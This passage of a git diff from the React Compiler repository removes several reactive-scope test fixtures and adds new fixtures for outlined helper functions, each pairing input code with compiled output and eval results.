- *  [5]        mutate(arr)         |   |
- *  [6] return $0                  ⌟   ⌟
- * ```
- *
- * Observe that instruction 5 mutates scope 0, which means that scopes 0 and 2
- * should be merged.
- */
-function useFoo(t0) {
-  const $ = _c(3);
-  const { input } = t0;
-  const arr = shallowCopy(input);
-  let t1;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t1 = identity(false);
-    $[0] = t1;
-  } else {
-    t1 = $[0];
-  }
-  const cond = t1;
-  let t2;
-  if ($[1] !== arr) {
-    t2 = cond ? { val: CONST_TRUE } : mutate(arr);
-    $[1] = arr;
-    $[2] = t2;
-  } else {
-    t2 = $[2];
-  }
-  return t2;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ input: 3 }],
-};
-
-```
-      
-### Eval output
-(kind: exception) mutate is not defined
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutate-outer-scope-within-value-block.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutate-outer-scope-within-value-block.ts
deleted file mode 100644
index 694f6e69a4c1..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutate-outer-scope-within-value-block.ts
+++ /dev/null
@@ -1,35 +0,0 @@
-// @enableReactiveScopesInHIR:false
-import { CONST_TRUE, identity, shallowCopy } from "shared-runtime";
-
-/**
- * There are three values with their own scopes in this fixture.
- * - arr, whose mutable range extends to the `mutate(...)` call
- * - cond, which has a mutable range of exactly 1 (e.g. created but not
- *   mutated)
- * - { val: CONST_TRUE }, which is also not mutated after creation. However,
- *   its scope range becomes extended to the value block.
- *
- * After AlignScopesToBlockScopes, our scopes look roughly like this
- * ```js
- *  [1] arr = shallowCopy()            ⌝@0
- *  [2] cond = identity()        <- @1 |
- *  [3] $0 = Ternary test=cond     ⌝@2 |
- *  [4]        {val : CONST_TRUE}  |   |
- *  [5]        mutate(arr)         |   |
- *  [6] return $0                  ⌟   ⌟
- * ```
- *
- * Observe that instruction 5 mutates scope 0, which means that scopes 0 and 2
- * should be merged.
- */
-function useFoo({ input }) {
-  const arr = shallowCopy(input);
-
-  const cond = identity(false);
-  return cond ? { val: CONST_TRUE } : mutate(arr);
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ input: 3 }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutation-within-capture-and-mutablerange.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutation-within-capture-and-mutablerange.expect.md
deleted file mode 100644
index f3278e91bad9..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutation-within-capture-and-mutablerange.expect.md
+++ /dev/null
@@ -1,92 +0,0 @@
-
-## Input
-
-```javascript
-// @enableReactiveScopesInHIR:false
-import { mutate } from "shared-runtime";
-
-/**
- * This test fixture is similar to mutation-within-jsx. The only difference
- * is that there is no `freeze` effect here, which means that `z` may be
- * mutated after its memo block through mutating `y`.
- *
- * While this is technically correct (as `z` is a nested memo block), it
- * is an edge case as we believe that values are not mutated after their
- * memo blocks (which may lead to 'tearing', i.e. mutating one render's
- * values in a subsequent render.
- */
-function useFoo({ a, b }) {
-  // x and y's scopes start here
-  const x = { a };
-  const y = [b];
-  mutate(x);
-  // z captures the result of `mutate(y)`, which may be aliased to `y`.
-  const z = [mutate(y)];
-  // the following line may also mutate z
-  mutate(y);
-  // and end here
-  return z;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ a: 2, b: 3 }],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableReactiveScopesInHIR:false
-import { mutate } from "shared-runtime";
-
-/**
- * This test fixture is similar to mutation-within-jsx. The only difference
- * is that there is no `freeze` effect here, which means that `z` may be
- * mutated after its memo block through mutating `y`.
- *
- * While this is technically correct (as `z` is a nested memo block), it
- * is an edge case as we believe that values are not mutated after their
- * memo blocks (which may lead to 'tearing', i.e. mutating one render's
- * values in a subsequent render.
- */
-function useFoo(t0) {
-  const $ = _c(5);
-  const { a, b } = t0;
-  let z;
-  if ($[0] !== a || $[1] !== b) {
-    const x = { a };
-    const y = [b];
-    mutate(x);
-
-    const t1 = mutate(y);
-    let t2;
-    if ($[3] !== t1) {
-      t2 = [t1];
-      $[3] = t1;
-      $[4] = t2;
-    } else {
-      t2 = $[4];
-    }
-    z = t2;
-
-    mutate(y);
-    $[0] = a;
-    $[1] = b;
-    $[2] = z;
-  } else {
-    z = $[2];
-  }
-  return z;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ a: 2, b: 3 }],
-};
-
-```
-      
-### Eval output
-(kind: ok) [null]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutation-within-capture-and-mutablerange.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutation-within-capture-and-mutablerange.tsx
deleted file mode 100644
index 43bd709b4f3b..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutation-within-capture-and-mutablerange.tsx
+++ /dev/null
@@ -1,30 +0,0 @@
-// @enableReactiveScopesInHIR:false
-import { mutate } from "shared-runtime";
-
-/**
- * This test fixture is similar to mutation-within-jsx. The only difference
- * is that there is no `freeze` effect here, which means that `z` may be
- * mutated after its memo block through mutating `y`.
- *
- * While this is technically correct (as `z` is a nested memo block), it
- * is an edge case as we believe that values are not mutated after their
- * memo blocks (which may lead to 'tearing', i.e. mutating one render's
- * values in a subsequent render.
- */
-function useFoo({ a, b }) {
-  // x and y's scopes start here
-  const x = { a };
-  const y = [b];
-  mutate(x);
-  // z captures the result of `mutate(y)`, which may be aliased to `y`.
-  const z = [mutate(y)];
-  // the following line may also mutate z
-  mutate(y);
-  // and end here
-  return z;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ a: 2, b: 3 }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutation-within-jsx-and-break.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutation-within-jsx-and-break.expect.md
deleted file mode 100644
index 9d3e7906c4fa..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutation-within-jsx-and-break.expect.md
+++ /dev/null
@@ -1,99 +0,0 @@
-
-## Input
-
-```javascript
-// @enableReactiveScopesInHIR:false
-import {
-  Stringify,
-  makeObject_Primitives,
-  mutate,
-  mutateAndReturn,
-} from "shared-runtime";
-
-function useFoo({ data }) {
-  let obj = null;
-  let myDiv = null;
-  label: {
-    if (data.cond) {
-      obj = makeObject_Primitives();
-      if (data.cond1) {
-        myDiv = <Stringify value={mutateAndReturn(obj)} />;
-        break label;
-      }
-      mutate(obj);
-    }
-  }
-
-  return myDiv;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ data: { cond: true, cond1: true } }],
-  sequentialRenders: [
-    { data: { cond: true, cond1: true } },
-    { data: { cond: true, cond1: true } },
-  ],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableReactiveScopesInHIR:false
-import {
-  Stringify,
-  makeObject_Primitives,
-  mutate,
-  mutateAndReturn,
-} from "shared-runtime";
-
-function useFoo(t0) {
-  const $ = _c(5);
-  const { data } = t0;
-  let obj;
-  let myDiv = null;
-  bb0: if (data.cond) {
-    if ($[0] !== data.cond1) {
-      obj = makeObject_Primitives();
-      if (data.cond1) {
-        const t1 = mutateAndReturn(obj);
-        let t2;
-        if ($[3] !== t1) {
-          t2 = <Stringify value={t1} />;
-          $[3] = t1;
-          $[4] = t2;
-        } else {
-          t2 = $[4];
-        }
-        myDiv = t2;
-        break bb0;
-      }
-
-      mutate(obj);
-      $[0] = data.cond1;
-      $[1] = obj;
-      $[2] = myDiv;
-    } else {
-      obj = $[1];
-      myDiv = $[2];
-    }
-  }
-  return myDiv;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ data: { cond: true, cond1: true } }],
-  sequentialRenders: [
-    { data: { cond: true, cond1: true } },
-    { data: { cond: true, cond1: true } },
-  ],
-};
-
-```
-      
-### Eval output
-(kind: ok) <div>{"value":{"a":0,"b":"value1","c":true,"wat0":"joe"}}</div>
-<div>{"value":{"a":0,"b":"value1","c":true,"wat0":"joe"}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutation-within-jsx-and-break.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutation-within-jsx-and-break.tsx
deleted file mode 100644
index 711ee2ad077d..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutation-within-jsx-and-break.tsx
+++ /dev/null
@@ -1,33 +0,0 @@
-// @enableReactiveScopesInHIR:false
-import {
-  Stringify,
-  makeObject_Primitives,
-  mutate,
-  mutateAndReturn,
-} from "shared-runtime";
-
-function useFoo({ data }) {
-  let obj = null;
-  let myDiv = null;
-  label: {
-    if (data.cond) {
-      obj = makeObject_Primitives();
-      if (data.cond1) {
-        myDiv = <Stringify value={mutateAndReturn(obj)} />;
-        break label;
-      }
-      mutate(obj);
-    }
-  }
-
-  return myDiv;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ data: { cond: true, cond1: true } }],
-  sequentialRenders: [
-    { data: { cond: true, cond1: true } },
-    { data: { cond: true, cond1: true } },
-  ],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutation-within-jsx.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutation-within-jsx.expect.md
deleted file mode 100644
index 996fdd2aa801..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutation-within-jsx.expect.md
+++ /dev/null
@@ -1,141 +0,0 @@
-
-## Input
-
-```javascript
-// @enableReactiveScopesInHIR:false
-import {
-  Stringify,
-  makeObject_Primitives,
-  mutateAndReturn,
-} from "shared-runtime";
-
-/**
- * In this example, the `<Stringify ... />` JSX block mutates then captures obj.
- * As JSX expressions freeze their values, we know that `obj` and `myDiv` cannot
- * be mutated past this.
- * This set of mutable range + scopes is an edge case because the JSX expression
- * references values in two scopes.
- * - (freeze) the result of `mutateAndReturn`
- *   this is a mutable value with a mutable range starting at `makeObject()`
- * - (mutate) the lvalue storing the result of `<Stringify .../>`
- *   this is a immutable value and so gets assigned a different scope
- *
- * obj@0 = makeObj();                        ⌝ scope@0
- * if (cond) {                               |
- *   $1@0 = mutate(obj@0);                   |
- *   myDiv@1 = JSX $1@0          <- scope@1  |
- * }                                         ⌟
- *
- * Coincidentally, the range of `obj` is extended by alignScopesToBlocks to *past*
- * the end of the JSX instruction. As we currently alias identifier mutableRanges to
- * scope ranges, this `freeze` reference is perceived as occurring during the mutable
- * range of `obj` (even though it is after the last mutating reference).
- *
- * This case is technically safe as `myDiv` correctly takes `obj` as a dependency. As
- * a result, developers can never observe myDiv can aliasing a different value generation
- * than `obj` (e.g. the invariant `myDiv.props.value === obj` always holds).
- */
-function useFoo({ data }) {
-  let obj = null;
-  let myDiv = null;
-  if (data.cond) {
-    obj = makeObject_Primitives();
-    if (data.cond1) {
-      myDiv = <Stringify value={mutateAndReturn(obj)} />;
-    }
-  }
-  return myDiv;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ data: { cond: true, cond1: true } }],
-  sequentialRenders: [
-    { data: { cond: true, cond1: true } },
-    { data: { cond: true, cond1: true } },
-  ],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableReactiveScopesInHIR:false
-import {
-  Stringify,
-  makeObject_Primitives,
-  mutateAndReturn,
-} from "shared-runtime";
-
-/**
- * In this example, the `<Stringify ... />` JSX block mutates then captures obj.
- * As JSX expressions freeze their values, we know that `obj` and `myDiv` cannot
- * be mutated past this.
- * This set of mutable range + scopes is an edge case because the JSX expression
- * references values in two scopes.
- * - (freeze) the result of `mutateAndReturn`
- *   this is a mutable value with a mutable range starting at `makeObject()`
- * - (mutate) the lvalue storing the result of `<Stringify .../>`
- *   this is a immutable value and so gets assigned a different scope
- *
- * obj@0 = makeObj();                        ⌝ scope@0
- * if (cond) {                               |
- *   $1@0 = mutate(obj@0);                   |
- *   myDiv@1 = JSX $1@0          <- scope@1  |
- * }                                         ⌟
- *
- * Coincidentally, the range of `obj` is extended by alignScopesToBlocks to *past*
- * the end of the JSX instruction. As we currently alias identifier mutableRanges to
- * scope ranges, this `freeze` reference is perceived as occurring during the mutable
- * range of `obj` (even though it is after the last mutating reference).
- *
- * This case is technically safe as `myDiv` correctly takes `obj` as a dependency. As
- * a result, developers can never observe myDiv can aliasing a different value generation
- * than `obj` (e.g. the invariant `myDiv.props.value === obj` always holds).
- */
-function useFoo(t0) {
-  const $ = _c(5);
-  const { data } = t0;
-  let obj;
-  let myDiv = null;
-  if (data.cond) {
-    if ($[0] !== data.cond1) {
-      obj = makeObject_Primitives();
-      if (data.cond1) {
-        const t1 = mutateAndReturn(obj);
-        let t2;
-        if ($[3] !== t1) {
-          t2 = <Stringify value={t1} />;
-          $[3] = t1;
-          $[4] = t2;
-        } else {
-          t2 = $[4];
-        }
-        myDiv = t2;
-      }
-      $[0] = data.cond1;
-      $[1] = obj;
-      $[2] = myDiv;
-    } else {
-      obj = $[1];
-      myDiv = $[2];
-    }
-  }
-  return myDiv;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ data: { cond: true, cond1: true } }],
-  sequentialRenders: [
-    { data: { cond: true, cond1: true } },
-    { data: { cond: true, cond1: true } },
-  ],
-};
-
-```
-      
-### Eval output
-(kind: ok) <div>{"value":{"a":0,"b":"value1","c":true,"wat0":"joe"}}</div>
-<div>{"value":{"a":0,"b":"value1","c":true,"wat0":"joe"}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutation-within-jsx.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutation-within-jsx.tsx
deleted file mode 100644
index b08f57acde9d..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutation-within-jsx.tsx
+++ /dev/null
@@ -1,53 +0,0 @@
-// @enableReactiveScopesInHIR:false
-import {
-  Stringify,
-  makeObject_Primitives,
-  mutateAndReturn,
-} from "shared-runtime";
-
-/**
- * In this example, the `<Stringify ... />` JSX block mutates then captures obj.
- * As JSX expressions freeze their values, we know that `obj` and `myDiv` cannot
- * be mutated past this.
- * This set of mutable range + scopes is an edge case because the JSX expression
- * references values in two scopes.
- * - (freeze) the result of `mutateAndReturn`
- *   this is a mutable value with a mutable range starting at `makeObject()`
- * - (mutate) the lvalue storing the result of `<Stringify .../>`
- *   this is a immutable value and so gets assigned a different scope
- *
- * obj@0 = makeObj();                        ⌝ scope@0
- * if (cond) {                               |
- *   $1@0 = mutate(obj@0);                   |
- *   myDiv@1 = JSX $1@0          <- scope@1  |
- * }                                         ⌟
- *
- * Coincidentally, the range of `obj` is extended by alignScopesToBlocks to *past*
- * the end of the JSX instruction. As we currently alias identifier mutableRanges to
- * scope ranges, this `freeze` reference is perceived as occurring during the mutable
- * range of `obj` (even though it is after the last mutating reference).
- *
- * This case is technically safe as `myDiv` correctly takes `obj` as a dependency. As
- * a result, developers can never observe myDiv can aliasing a different value generation
- * than `obj` (e.g. the invariant `myDiv.props.value === obj` always holds).
- */
-function useFoo({ data }) {
-  let obj = null;
-  let myDiv = null;
-  if (data.cond) {
-    obj = makeObject_Primitives();
-    if (data.cond1) {
-      myDiv = <Stringify value={mutateAndReturn(obj)} />;
-    }
-  }
-  return myDiv;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ data: { cond: true, cond1: true } }],
-  sequentialRenders: [
-    { data: { cond: true, cond1: true } },
-    { data: { cond: true, cond1: true } },
-  ],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/repro-allocating-ternary-test-instruction-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/repro-allocating-ternary-test-instruction-scope.expect.md
deleted file mode 100644
index f295d0ca5b02..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/repro-allocating-ternary-test-instruction-scope.expect.md
+++ /dev/null
@@ -1,61 +0,0 @@
-
-## Input
-
-```javascript
-// @enableReactiveScopesInHIR:false
-import { identity, makeObject_Primitives } from "shared-runtime";
-
-function useTest({ cond }) {
-  const val = makeObject_Primitives();
-
-  useHook();
-  /**
-   * We don't technically need a reactive scope for this ternary as
-   * it cannot produce newly allocated values.
-   * While identity(...) may allocate, we can teach the compiler that
-   * its result is only used as as a test condition
-   */
-  const result = identity(cond) ? val : null;
-  return result;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useTest,
-  params: [{ cond: true }],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableReactiveScopesInHIR:false
-import { identity, makeObject_Primitives } from "shared-runtime";
-
-function useTest(t0) {
-  const $ = _c(1);
-  const { cond } = t0;
-  let t1;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t1 = makeObject_Primitives();
-    $[0] = t1;
-  } else {
-    t1 = $[0];
-  }
-  const val = t1;
-
-  useHook();
-
-  const result = identity(cond) ? val : null;
-  return result;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useTest,
-  params: [{ cond: true }],
-};
-
-```
-      
-### Eval output
-(kind: exception) useHook is not defined
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/repro-allocating-ternary-test-instruction-scope.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/repro-allocating-ternary-test-instruction-scope.ts
deleted file mode 100644
index 951e9e853a18..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/repro-allocating-ternary-test-instruction-scope.ts
+++ /dev/null
@@ -1,21 +0,0 @@
-// @enableReactiveScopesInHIR:false
-import { identity, makeObject_Primitives } from "shared-runtime";
-
-function useTest({ cond }) {
-  const val = makeObject_Primitives();
-
-  useHook();
-  /**
-   * We don't technically need a reactive scope for this ternary as
-   * it cannot produce newly allocated values.
-   * While identity(...) may allocate, we can teach the compiler that
-   * its result is only used as as a test condition
-   */
-  const result = identity(cond) ? val : null;
-  return result;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useTest,
-  params: [{ cond: true }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlined-destructured-params.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlined-destructured-params.expect.md
new file mode 100644
index 000000000000..0f01d77d2568
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlined-destructured-params.expect.md
@@ -0,0 +1,65 @@
+
+## Input
+
+```javascript
+import {Stringify} from 'shared-runtime';
+
+function Component(props) {
+  // test outlined functions with destructured parameters - the
+  // temporary for the destructured param must be promoted
+  return (
+    <>
+      {props.items.map(({id, name}) => (
+        <Stringify key={id} name={name} />
+      ))}
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{items: [{id: 1, name: 'one'}]}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(4);
+  let t0;
+  if ($[0] !== props.items) {
+    t0 = props.items.map(_temp);
+    $[0] = props.items;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  let t1;
+  if ($[2] !== t0) {
+    t1 = <>{t0}</>;
+    $[2] = t0;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  return t1;
+}
+function _temp(t0) {
+  const { id, name } = t0;
+  return <Stringify key={id} name={name} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ items: [{ id: 1, name: "one" }] }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"name":"one"}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlined-destructured-params.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlined-destructured-params.js
new file mode 100644
index 000000000000..d185c40f0621
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlined-destructured-params.js
@@ -0,0 +1,18 @@
+import {Stringify} from 'shared-runtime';
+
+function Component(props) {
+  // test outlined functions with destructured parameters - the
+  // temporary for the destructured param must be promoted
+  return (
+    <>
+      {props.items.map(({id, name}) => (
+        <Stringify key={id} name={name} />
+      ))}
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{items: [{id: 1, name: 'one'}]}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlined-helper.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlined-helper.expect.md
new file mode 100644
index 000000000000..dec1928cf89c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlined-helper.expect.md
@@ -0,0 +1,62 @@
+
+## Input
+
+```javascript
+import {Stringify} from 'shared-runtime';
+
+function Component(props) {
+  return (
+    <div>
+      {props.items.map(item => (
+        <Stringify key={item.id} item={item.name} />
+      ))}
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{items: [{id: 1, name: 'one'}]}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(4);
+  let t0;
+  if ($[0] !== props.items) {
+    t0 = props.items.map(_temp);
+    $[0] = props.items;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  let t1;
+  if ($[2] !== t0) {
+    t1 = <div>{t0}</div>;
+    $[2] = t0;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  return t1;
+}
+function _temp(item) {
+  return <Stringify key={item.id} item={item.name} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ items: [{ id: 1, name: "one" }] }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div><div>{"item":"one"}</div></div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlined-helper.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlined-helper.js
new file mode 100644
index 000000000000..71c93afe2387
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlined-helper.js
@@ -0,0 +1,16 @@
+import {Stringify} from 'shared-runtime';
+
+function Component(props) {
+  return (
+    <div>
+      {props.items.map(item => (
+        <Stringify key={item.id} item={item.name} />
+      ))}
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{items: [{id: 1, name: 'one'}]}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlining-in-func-expr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlining-in-func-expr.expect.md
new file mode 100644
index 000000000000..d97c06481c2e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlining-in-func-expr.expect.md
@@ -0,0 +1,72 @@
+
+## Input
+
+```javascript
+const Component2 = props => {
+  return (
+    <ul>
+      {props.items.map(item => (
+        <li key={item.id}>{item.name}</li>
+      ))}
+    </ul>
+  );
+};
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component2,
+  params: [
+    {
+      items: [
+        {id: 2, name: 'foo'},
+        {id: 3, name: 'bar'},
+      ],
+    },
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+const Component2 = (props) => {
+  const $ = _c(4);
+  let t0;
+  if ($[0] !== props.items) {
+    t0 = props.items.map(_temp);
+    $[0] = props.items;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  let t1;
+  if ($[2] !== t0) {
+    t1 = <ul>{t0}</ul>;
+    $[2] = t0;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  return t1;
+};
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component2,
+  params: [
+    {
+      items: [
+        { id: 2, name: "foo" },
+        { id: 3, name: "bar" },
+      ],
+    },
+  ],
+};
+function _temp(item) {
+  return <li key={item.id}>{item.name}</li>;
+}
+
+```
+      
+### Eval output
+(kind: ok) <ul><li>foo</li><li>bar</li></ul>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlining-in-func-expr.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlining-in-func-expr.js
new file mode 100644
index 000000000000..3a6ac59d4097
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlining-in-func-expr.js
@@ -0,0 +1,21 @@
+const Component2 = props => {
+  return (
+    <ul>
+      {props.items.map(item => (
+        <li key={item.id}>{item.name}</li>
+      ))}
+    </ul>
+  );
+};
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component2,
+  params: [
+    {
+      items: [
+        {id: 2, name: 'foo'},
+        {id: 3, name: 'bar'},
+      ],
+    },
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlining-in-react-memo.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlining-in-react-memo.expect.md
new file mode 100644
index 000000000000..11d4646c6553
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlining-in-react-memo.expect.md
@@ -0,0 +1,90 @@
+
+## Input
+
+```javascript
+function Component(props) {
+  return <View {...props} />;
+}
+
+const View = React.memo(({items}) => {
+  return (
+    <ul>
+      {items.map(item => (
+        <li key={item.id}>{item.name}</li>
+      ))}
+    </ul>
+  );
+});
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      items: [
+        {id: 2, name: 'foo'},
+        {id: 3, name: 'bar'},
+      ],
+    },
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Component(props) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== props) {
+    t0 = <View {...props} />;
+    $[0] = props;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+const View = React.memo((t0) => {
+  const $ = _c(4);
+  const { items } = t0;
+  let t1;
+  if ($[0] !== items) {
+    t1 = items.map(_temp);
+    $[0] = items;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] !== t1) {
+    t2 = <ul>{t1}</ul>;
+    $[2] = t1;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  return t2;
+});
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      items: [
+        { id: 2, name: "foo" },
+        { id: 3, name: "bar" },
+      ],
+    },
+  ],
+};
+function _temp(item) {
+  return <li key={item.id}>{item.name}</li>;
+}
+
+```
+      
+### Eval output
+(kind: ok) <ul><li>foo</li><li>bar</li></ul>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlining-in-react-memo.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlining-in-react-memo.js
new file mode 100644
index 000000000000..cc106300a39f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlining-in-react-memo.js
@@ -0,0 +1,25 @@
+function Component(props) {
+  return <View {...props} />;
+}
+
+const View = React.memo(({items}) => {
+  return (
+    <ul>
+      {items.map(item => (
+        <li key={item.id}>{item.name}</li>
+      ))}
+    </ul>
+  );
+});
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      items: [
+        {id: 2, name: 'foo'},
+        {id: 3, name: 'bar'},
+      ],
+    },
+  ],
+};
